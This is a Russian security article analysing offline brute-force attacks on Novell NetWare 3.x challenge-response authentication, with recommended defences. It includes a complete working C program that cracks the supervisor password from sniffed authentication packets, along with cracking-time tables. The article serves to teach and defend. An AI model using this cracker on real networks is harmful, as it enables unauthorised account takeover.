Устойчивость процесса аутентификации ОС Novell NetWare 3.x к подбору пароля

Мяснянкин В.В.

3 апреля 2001 г.

Аннотация

В статье рассматривается один из аспектов парольной защиты ОС Novell NetWare, а именно устойчивость механизма аутентификации к попыткам подбора пароля методом "грубой силы". В отличие от аналогов, рассматриваемый метод не вызывает срабатывания подсистемы обнаружения нарушителя, так как работает в автономном режиме, на основе данных из перехваченной сессии аутентификации. Приведенное описание технологии атаки на пароль поможет лучше понять сценарий действий злоумышленника и адекватно организовать защиту сети, причем не только на базе Novell NetWare, но и других систем с аналогичной схемой аутентификации, в частности, Windows NT.

Введение

На первый взгляд может показаться, что обсуждение каких-либо проблем, связанных с версиями 3.x в настоящее время совершенно неактуально, т.к. уже давно появились новые версии ОС NetWare, обладающие более широкими возможностями, нежели 3.x. Однако, практика показывает, что в небольших сетях, требующих между тем выделенного файлового сервера, достаточно часто можно встретить именно версии 3.x. Кроме того, версии 4.x и 5.x имеют режим обратной совместимости, так называемый bindery emulation (эмуляция базы связок), и аутентификация пользователя в этом режиме, с точки зрения криптографического протокола, ничем не отличается от схемы аутентификации, используемой в NetWare 3.x. Очевидно, что при использовании этого режима, описанные проблемы затрагивают и пользователей версий 4.x и 5.x. На момент разработки криптопротокол был достаточно сильным - просто сейчас изменились возможности оборудования (DES в свое время тоже был очень сильным алгоритмом, но на современных компьютерах ломается за разумное время). Кроме этого, надо учесть, что несмотря на

сильную конкуренцию, Novell остается одним из крупнейших производителей сетевых операционных систем и удерживает свои позиции на рынке. По данным IDC, в 1999 на 19% закупаемых серверов была установлена именно ОС Novell NetWare. В России эта ОС заняла свою нишу достаточно давно и пока не намерена терять свой рынок. Такой прогноз основан на том факте, что Novell перестала быть лишь "разработчиком ОС для файловых серверов", а предлагает еще и решения для небольших групп (Novell Small Business Suite), средства обеспечения безопасности (BorderManager) и другие.

Существуют различные способы получения паролей, в частности, в результате доступа к базе связок (bindery), базе Сервиса Каталога (NetWare Directory Services - NDS), проведения атаки типа "ложный сервер" или установки на рабочей станции перехватчика паролей. Большинство из них имеют активную природу, требующую вмешательства в работу системы. Рассматриваемый в данной статье способ не требует такого вмешательства, он основан исключительно на расчетах. Конечно, для получения исходных данных их необходимо "перехватить", но используемая для этого программа прослушивания сети (sniffer) не оказывает влияния на работу сети.

За рамками данной статьи оставлен и вопрос сравнения эффективности различных способов получения паролей. Иногда проще применить знание психологии, и люди сами скажут вам свои пароли (social engineering). В случае недостаточного внимания к ограничению физического доступа к серверу, самым простым может оказаться копирование базы паролей. И, конечно, всегда доступен самый безотказный и древний, как мир, способ, связанный с угрозами, шантажом, подкупом, физическим воздействием и другими аналогичными "мерами убеждения".

1 Два подхода к защите паролей

Если рассматривать проблему укрупненно, то можно выделить два основных подхода к хранению паролей, и, соответственно, к используемой схеме аутентификации.

Первый подход заключается в защищенном хранении паролей на сервере. При этом, в случае хищения базы с паролями, злоумышленник не сможет воспользоваться этими данными непосредственно, ему понадобится произвести некоторое количество преобразований (подчас весьма сложных), так как пароли преобразованы односторонней функцией, и узнать их можно только "прогоняя" различные варианты паролей через

эту функцию и сравнивая результат; в данной ситуации, это - единственный способ дешифрования. Очевидно, что при таком подходе пользователь должен предъявлять серверу пароль в открытом виде, чтобы последний, произведя над ним соответствующее преобразование, сравнил полученный результат с записью в базе паролей. Ну, а коль скоро пароль предъявляется в открытом виде, возможен его перехват при передаче по каналам связи. Конечно, если использовать даже самую сложную функцию вида:

$$y = f(x) \tag{1}$$

где x - пароль, а y - значение односторонней функции (как правило, в качестве односторонней используется хэш-функция[1]), то одинаковым паролям будут соответствовать одинаковые значения функции. Злоумышленнику в этом случае достаточно будет один раз обработать большой словарь и в дальнейшем просто определять пароль по значению функции. Чтобы устранить эти недостатки в процесс вычисления вводят дополнительный элемент - salt, который для каждой генерации пароля выбирается случайным образом, после чего формула (1) приобретает вид:

$$y = f(salt, x) \tag{2}$$

а в базе паролей на сервере хранится пара чисел (salt,y). Такой подход к защите паролей применяется в большинстве UNIX-систем. В качестве преобразования (2) используется алгоритм шифрования DES (x выступает в роли ключа шифрования), либо алгоритм хэширования MD5.

Другой подход направлен на невозможность перехвата пароля при его передаче. В этом случае пользователь доказывает серверу, что ему известен правильный пароль, не путем предъявления его в открытом виде, а путем вычисления над предложенным сервером числом некоей функции, зависящей также и от пароля. В простейшем случае это может быть зашифрование предложенного сервером числа, используя в качестве ключа шифрования пароль. Естественно, что для проверки значения функции, присланного пользователем, серверу необходимо повторить данное преобразование, а для этого, в свою очередь, он должен обладать паролем в открытом виде. Схема похожа на предыдущую, изменяется только место вычисления односторонней функции, а роль salt играет высылаемое сервером число. Очевидно, что при этом способе осуществления аутентификации, необходимо принять меры по недопущению несанкционированного доступа к базе паролей на сервере. Такой подход применяется в семействе ОС Novell NetWare, а также Windows NT.

[1]Хэш-функция должна обладать, как минимум, следующими характеристиками: ее значение имеет фиксированный размер (вне зависимости от размера параметра), а подбор параметра под заданное значение является сложной задачей.

2 Как это работает?

Рассмотрим по шагам, как проходит процесс аутентификации в NetWare 3.xx. Сначала клиент устанавливает с сервером первичное соединение (attach), характеризуемое состоянием NOT-LOGGED-IN. У пользователя запрашиваются имя и пароль. После этого клиентское программное обеспечение запрашивает у сервера идентификатор пользователя (UserID), передавая ему имя пользователя и тип объекта (User). UserID представляет собой 4-байтовое целое число, которое используется в процедуре вычисления из введенного пользователем пароля значения хэш-функции размерностью 16 байт. Именно это значение хэш-функции и участвует в процессе аутентификации клиента и хранится на сервере NetWare в виде свойства PASSWORD данного объекта (пользователя). Очевидно, что хотя это значение невозможно подставить в качестве пароля стандартной процедуре регистрации (login.exe), его знания достаточно для осуществления подключения к серверу, и оно представляет такую же ценность, как и собственно пароль. Такое преобразование пароля необходимо для того, чтобы использовать в процессе аутентификации "общий секрет" фиксированного размера, так как пароль, в общем случае, может иметь длину от 0 до 128 символов.

Далее, клиентское программное обеспечение запрашивает у сервера 8-байтовое число и производит его зашифрование, используя в качестве ключа вычисленное на предыдущем шаге 16-байтовое значение хэш-функции пароля. Полученный шифртекст, также имеющий размер 8 байт, отправляется на сервер. Поскольку сервер обладает значениями хэш-функции и 8-байтового числа, которое он отправлял на рабочую станцию, он может повторить указанную операцию зашифрования и сравнить результат со значением, полученным от рабочей станции. Если рассчитанное значение совпадает с присланным рабочей станцией, клиент считается аутентифицированным, и ему предоставляется доступ к ресурсам, в соответствии с назначенными правами. В случае несовпадения значений, сервер отказывает в доступе, но перед тем, как вернуть ошибку, делает небольшую задержку - чтобы затруднить организацию быстрого подбора пароля в режиме on-line. Дополнительно, чтобы сделать подбор пароля on-line совсем бессмысленным, в ОС NetWare предусмотрена возможность задания блокировки после нескольких неправильных попыток ввода пароля. Число попыток, время блокировки и интервал, за который набираются попытки, задаются администратором. Для NetWare 4.0 и выше процесс происходит практически также, но он еще дополнительно шифруется по алгоритму RSA.

3 Задача злоумышленника

Злоумышленник, вооруженный программой прослушивания сетевых пакетов (сниффером) и наблюдавший данный процесс, имеет в своем распоряжении имя пользователя (впрочем, скорее всего он знал его заранее), UserID и два 8-байтовых числа: переданное сервером и отправленное обратно рабочей станцией. С точки зрения криптографии, злоумышленник обладает знанием алгоритма шифрования и имеет в своем распоряжении открытый текст и соответствующий ему шифртекст. В его задачу входит узнать ключ шифрования, использованный в данном преобразовании. Современные алгоритмы шифрования разрабатываются с учетом обеспечения стойкости к различным видам атак, в том числе и к атаке на ключ. В данной ситуации также очевидно, что 8-байтовое число не может нести полную информацию о 16-байтовом, поэтому вычислить из него ключ невозможно. Однако, злоумышленник может попытаться подобрать ключ - все необходимые для проверки данные у него есть. Он выбирает в качестве пароля некоторую последовательность символов, вычисляет хэш-функцию, производит зашифрование первого 8-байтового числа и сравнивает полученное значение со вторым. В случае неудачи - берет следующее значение пароля и так далее.

4 Рассмотрим поближе

4.1 Стандартная реализация алгоритма

Как уже говорилось выше, в общем случае длина пароля может находиться в пределах от 0 до 128 символов. Вычисление хэш-функции осуществляется в два этапа. На первом этапе пароль приводится к длине 32 символа, после чего "сворачивается" до 16. Если длина пароля больше 32 символов, он разбивается на блоки по 32 символа, которые складываются между собой по модулю 2. Естественно, длина последнего блока может оказаться меньше 32 символов, в этом случае он дополняется значениями из специальной таблицы констант. Если длина пароля меньше 32 символов, то он реплицируется до нужной длины со вставкой между копиями констант из той же таблицы. Например, если длина пароля 11 символов, то 32-байтовый массив заполняется следующим образом: в первые 11 байт помещается пароль, в 12 байт - значение из 12 ячейки таблицы констант, с 13 по 24 байты - снова пароль, в 25 байт - значение из 25 ячейки таблицы констант, с 26 по 32 байты - начало пароля.

Таким образом, мы получили 32-байтовый буфер. Перед "сворачиванием" до 16-байтового размера данный буфер складывается по модулю 2 с 4-байтовым значением UserID, чем вносится дополнительная степень

перемешивания битов. Однако, в версиях NetWare 3.x на этом этапе допускается одна досадная оплошность. Дело в том, что UserID администратора (supervisor) в этих версиях ОС всегда равен 1 и не может быть изменен штатными средствами системы. Очевидно, что кроме своей известности, такое значение оказывает весьма малое "перемешивающее" воздействие на исходную информацию. Свертка 32-байтового буфера до 16-байтового размера осуществляется процедурой shuffle1, исходный текст которой на языке C можно найти в различных источниках (пакет ncpfs для Linux, комплекс программ Pandora и др.), а также в листинге, приведенном в разделе 5.

4.2 Попробуем упростить

Человек - существо несовершенное. Несмотря на то, что человеческий мозг гораздо сложнее любого из существующих суперкомпьютеров, задачу запоминания больших объемов информации он решает не очень хорошо, поэтому большинство людей не применяют в повседневной практике пароли длиннее 32 символов. Более того, рекомендованная минимально безопасная длина пароля в 8 символов является для многих слишком большой, если только они не применяют "парольные фразы" или другие мнемонические приемы. Исходя из этого постулата, можно несколько модифицировать описанную выше хэш-функцию, отбросив ветку алгоритма для паролей длиннее 32 символов. Такое упрощение дает некоторый прирост в скорости вычислений. Еще одно упрощение, причина которого совершенно непонятна, заключается в том, что стандартные утилиты NetWare приводят вводимые буквы латинского алфавита к верхнему регистру. Это сильно упрощает задачу злоумышленника: существует всего 65 символов, которые допустимо использовать в качестве пароля в NetWare и для ввода которых не требуется русификатор. В принципе, допустимо и применение русских букв, однако, ввиду различия кодировок русских букв в Windows, DOS и UNIX такая практика может привести к невозможности входа в сеть данного пользователя из другой ОС.

5 Пишем программу

Используя постановку задачи, изложенную в разделе 3, попробуем написать программу, которая по имеющимся у потенциального злоумышленника исходным данным сможет подобрать пароль. Мы будем использовать метод "грубой силы" (brute force), хотя гораздо более эффективным может оказаться метод перебора паролей по словарю. Для упрощения реализации произведем следующие допущения:

- Подбирается пароль пользователя supervisor (UserID=1).
- Пароль состоит только из букв латинского алфавита.

- Максимальная длина пароля - 8 символов. Пароли перебираются последовательно: A, AA, AAA ... ZZZZZZZZ.
- Необходимые для проверки 8-байтовые числа записаны в бинарном виде в файл, имя которого задается в виде параметра командной строки.

В приведенном ниже листинге основные процедуры, используемые для вычисления хэш-функции и зашифрования посылки сервера, являются модифицированной версией процедур, взятых из пакета ncpfs. Исходный текст также доступен на сервере www.securityelf.net в разделе "программы"

```
/*********************************************/
/********* Guess alphabetical password ********/
/*********** for Novell NetWare 3.x ***********/
/*********************************************/
/********* (c) Vladislav V. Myasnyankin *******/
/************** hugevlad@yahoo.com ************/
/********************** 1998 ******************/
/*********************************************/
/****** for educational purposes only! ********/
/****** using this program may violate ********/
/************ law of your country! ************/
/*********************************************/
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

#define USERID 1
#define MAXLEN 8
#define BPASS "A"
#define BCHAR 'A'
#define ECHAR 'Z'

/****************** Data types ***************************/
typedef unsigned char buf32[32];
typedef unsigned char buf16[16];
typedef unsigned char buf8[8];
typedef unsigned char buf4[4];

static unsigned char encrypttable[256] =
{0x7,0x8,0x0,0x8,0x6,0x4,0xE,0x4,0x5,0xC,0x1,0x7,0xB,0xF,0xA,0x8,
```

```
 0xF,0x8,0xC,0xC,0x9,0x4,0x1,0xE,0x4,0x6,0x2,0x4,0x0,0xA,0xB,0x9,
 0x2,0xF,0xB,0x1,0xD,0x2,0x1,0x9,0x5,0xE,0x7,0x0,0x0,0x2,0x6,0x6,
 0x0,0x7,0x3,0x8,0x2,0x9,0x3,0xF,0x7,0xF,0xC,0xF,0x6,0x4,0xA,0x0,
 0x2,0x3,0xA,0xB,0xD,0x8,0x3,0xA,0x1,0x7,0xC,0xF,0x1,0x8,0x9,0xD,
 0x9,0x1,0x9,0x4,0xE,0x4,0xC,0x5,0x5,0xC,0x8,0xB,0x2,0x3,0x9,0xE,
 0x7,0x7,0x6,0x9,0xE,0xF,0xC,0x8,0xD,0x1,0xA,0x6,0xE,0xD,0x0,0x7,
 0x7,0xA,0x0,0x1,0xF,0x5,0x4,0xB,0x7,0xB,0xE,0xC,0x9,0x5,0xD,0x1,
 0xB,0xD,0x1,0x3,0x5,0xD,0xE,0x6,0x3,0x0,0xB,0xB,0xF,0x3,0x6,0x4,
 0x9,0xD,0xA,0x3,0x1,0x4,0x9,0x4,0x8,0x3,0xB,0xE,0x5,0x0,0x5,0x2,
 0xC,0xB,0xD,0x5,0xD,0x5,0xD,0x2,0xD,0x9,0xA,0xC,0xA,0x0,0xB,0x3,
 0x5,0x3,0x6,0x9,0x5,0x1,0xE,0xE,0x0,0xE,0x8,0x2,0xD,0x2,0x2,0x0,
 0x4,0xF,0x8,0x5,0x9,0x6,0x8,0x6,0xB,0xA,0xB,0xF,0x0,0x7,0x2,0x8,
 0xC,0x7,0x3,0xA,0x1,0x4,0x2,0x5,0xF,0x7,0xA,0xC,0xE,0x5,0x9,0x3,
 0xE,0x7,0x1,0x2,0xE,0x1,0xF,0x4,0xA,0x6,0xC,0x6,0xF,0x4,0x3,0x0,
 0xC,0x0,0x3,0x6,0xF,0x8,0x7,0xB,0x2,0xD,0xC,0x6,0xA,0xA,0x8,0xD};

static buf32 encryptkeys  =
{0x48,0x93,0x46,0x67,0x98,0x3D,0xE6,0x8D,
 0xB7,0x10,0x7A,0x26,0x5A,0xB9,0xB1,0x35,
 0x6B,0x0F,0xD5,0x70,0xAE,0xFB,0xAD,0x11,
 0xF4,0x47,0xDC,0xA7,0xEC,0xCF,0x50,0xC0};


void shuffle1(buf32 temp, unsigned char *target)
{
short b4;
unsigned char b3;
int s, b2, i;

b4 = 0;

for (b2 = 0; b2 <= 1; ++b2){
     for (s = 0; s <= 31; ++s){
          b3 = (temp[s]+b4) ^ (temp[(s+b4)&31] - encryptkeys[s]);
          b4 = b4 + b3;
          temp[s] = b3;
          }
}

for (i = 0; i <= 15; ++i) {
     target[i] =  encrypttable[temp[ 2*i    ]]
               | (encrypttable[temp[ 2*i + 1]] << 4);
}
};
```

```
void shuffle(unsigned char *lon,
             const unsigned char *buf,
             int buflen,
             unsigned char *target)
{
int i,j;
buf32 temp;

j=0;
for (i = 0; i < 32; i++)
    if ( j < buflen ) { temp[i]=buf[j]; j++; }
       else { temp[i]=encryptkeys[i]; j=0;};

for (i = 0; i <= 31; ++i) temp[i] = temp[i] ^ lon[i & 3];

shuffle1(temp,target);
};


void prepare_login(unsigned char *key,
                   unsigned char *passwd_packed,
                   unsigned char *auth_code)
{
buf32 k;
int s;

shuffle(&(key[0]), passwd_packed, 16, &(k[ 0]));
shuffle(&(key[4]), passwd_packed, 16, &(k[16]));

for (s = 0; s <= 15; ++s) k[s] = k[s] ^ k[31 - s];
for (s = 0; s <= 7; ++s) auth_code[s] = k[s] ^ k[15 - s];
};

unsigned char mutate(char *psw_string)
{
unsigned char i, carry;
carry=0;
i=0;
do {
   switch (psw_string[i]) {
      case ECHAR: psw_string[i]=BCHAR;
                  carry=1;
```

```
                i++;
                break;
       case 0: psw_string[i]=BCHAR;
               carry=0;
               break;
       default: psw_string[i]++;
                carry=0;
                break;
      }
   } while(carry==1);
return(i);
};

int main(int argc, char **argv)
{
unsigned char last, i;
unsigned long userid=USERID;
unsigned char maxlen=MAXLEN;
time_t time1, time2;
char password[MAXLEN+2];
unsigned char ppack[16]={0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};
unsigned char ekey[8]={0,0,0,0,0,0,0,0};
unsigned char ores[8]={0,0,0,0,0,0,0,0};
unsigned char mres[8]={0,0,0,0,0,0,0,0};
FILE *fd;

fd=fopen(argv[1],"r");
if (fd==NULL){
   perror("File open error: ");
   return(1);
   };
fread(ekey,1,8,fd);
fread(ores,1,8,fd);
fclose(fd);

memset(password,0,MAXLEN+2);
strcat(password,BPASS);
last=strlen(password);
printf("Beginning password: %s, len=%d\n",password, last);
time(&time1);
while (mutate(password) < maxlen){
       last=strlen(password);
       shuffle((unsigned char *) &userid, password, last, ppack);
       prepare_login(ekey,ppack,mres);
```

```
      if (memcmp(ores, mres, 8)==0) {
         printf("Password found: %s\n",password);
         break;
         };
      };
time(&time2);
printf("%d seconds.\n",(time2-time1));
return(0);
}
```

6 Что в результате?

Теперь у нас есть возможность произвести оценку затрат злоумышленника на подбор пароля с заданными характеристиками.

Общее количество паролей k, которые можно составить из алфавита размерности n при длине пароля от 1 до m символов составляет

$$k = \sum_{i=1}^{m} n^i \tag{3}$$

Максимальное время T, необходимое для подбора пароля с указанными характеристиками, составит, таким образом

$$T = \frac{k}{v} \tag{4}$$

Скорость перебора v определим экспериментально с использованием программы из раздела 5. Для этого в качестве посылки сервера возьмем число 0001020304050607 и произведем его зашифрование на пароле ZZZZZZ. Программа "подобрала" пароль за 3875 секунд (1 час 4 минуты 35 секунд). По формуле (3), определяем, что для 26-символьного алфавита можно составить 321272406 6-символьных комбинаций. Решая уравнение (4) относительно v получаем скорость: 82909 паролей в секунду.

Здесь следует упомянуть об использованной аппаратуре и программном обеспечении. В качестве аппаратной платформы была выбрана ПЭВМ с процессором Intel Pentium II, работающим на частоте 400 мегагерц, и оснащенная 64 мегабайтами оперативной памяти. ПЭВМ функционировала под управление ОС Linux (дистрибутив Debian 2.1, версия ядра 2.2.14). Компиляция осуществлена компилятором gcc версии 2.7.2.3 (с опцией -O6). Такая конфигурация аппаратной части является достаточно распространенной в настоящее время, и в то же время достаточно производительной.

Итак, мы имеем все исходные данные для ответа на вопрос: "Пароль какой длины сможет подобрать злоумышленник методом грубого перебора, если у него есть предположения об использованных в пароле символах?". Результаты расчета для различных размерностей алфавита сведены в приведенные ниже таблицы.

6.1 Алфавит 10 символов (цифры)

Длина пароля	Время подбора
13	1613 суток
12	161 сутки
11	16 суток
10	1 сутки, 15 часов
9	3 часа, 52 минуты
8	23 минуты 14 секунд
7	2 минуты 19 секунд
6	14 секунд

6.2 Алфавит 26 символов (латинские буквы)

Длина пароля	Время подбора
9	820 суток
8	31 сутки, 13 часов
7	1 сутки, 5 часов
6	1 час, 7 минут
5	2 минуты 35 секунд
4	6 секунд

6.3 Алфавит 36 символов (латинские буквы и цифры)

Длина пароля	Время подбора
9	15166 суток
8	421 сутки
7	11 суток, 17 часов
6	7 часов, 48 минут
5	13 минут
4	22 секунды

6.4 Алфавит 65 символов (все допустимые символы)

Длина пароля	Время подбора
8	46985 суток
7	723 дня
6	11 суток, 3 часа
5	4 часа, 6 минут
4	3 минуты 47 секунд
3	3 секунды

7 Выводы

Несмотря на защищенный алгоритм, исключающий передачу пароля в открытом виде, процесс аутентификации NetWare может оказаться уязвимым к подбору пароля методом грубой силы при неправильном подходе к его выбору. В связи с этим не рекомендуется использовать без насущной необходимости режим эмуляции базы связок (bindery emulation) в старших версиях, а в версиях 3.x предпринять дополнительные меры защиты.

К сожалению, штатными средствами Novell NetWare невозможно задать ограничения на качественные характеристики пароля. Установки минимальной длины, периодичности смены пароля и требования его уникальности, конечно, приносят некоторые плоды, но они не позволяют избежать ситуации, когда пользователь все же использует тривиальные пароли типа "11111111", "22222222" и т.п. Эту проблему можно решить двумя способами: организационным и техническим.

- Организационный способ предполагает обязательное помещение копии пароля в запечатанный конверт. По истечении срока его действия ответственный за информационную безопасность имеет возможность проверить, соблюдает ли пользователь требования по выбору пароля.

- Технический способ заключается в установке на серверах специальной программы, разработки третьих фирм, которая бы занималась проверкой качества паролей на сервере (например, в ночное время) и в случае обнаружения тривиального пароля выставляла бы ему признак "устарел, требуется смена". В совокупности с введенным ограничением на число попыток входа со старым паролем, этот способ позволит автоматически поддерживать качество паролей на должном уровне.

Наконец, возможно организовать сеть таким образом, чтобы исключить возможность прослушивания процесса аутентификации - путем замены концентраторов на коммутаторы. В этом случае, компьютер не сможет прослушать сетевые пакеты, адресованные не ему. Хотя такая модификация попутно решает еще ряд проблем, в некоторых случаях она может оказаться достаточно дорогостоящей.

Заключение

Данная статья не претендует на полноту в части освещения всех особенностей парольной защиты в операционных системах Novell. В частности, остался за кадром вопрос с NDS-аутентификацией, где дополнительно применяется шифрование по алгоритму RSA.

Как уже говорилось выше, здесь рассмотрен только один из возможных способов получения пароля. Например, если злоумышленник получил доступ к резервной копии базы NDS, его задача значительно упрощается. Во-первых, он уже имеет в своем распоряжении значение хэш-функции и может использовать для подключения к серверу специальные утилиты (например, panmount для Linux), принимающие вместо пароля значение хэш-функции. Во-вторых, он может попытаться подобрать под имеющееся значение хэш-функции символьный пароль, что сопряжено с гораздо меньшими вычислительными затратами. Обе эти задачи решаются при помощи комплекса программ Pandora, доступного для загрузки по адресу http://www.nmrc.org/pandora/download.html. Большое количество информации по обеспечению безопасности Novell NetWare и других сетевых операционных систем можно найти по адресам http://security.tsu.ru и http://www.nmrc.org.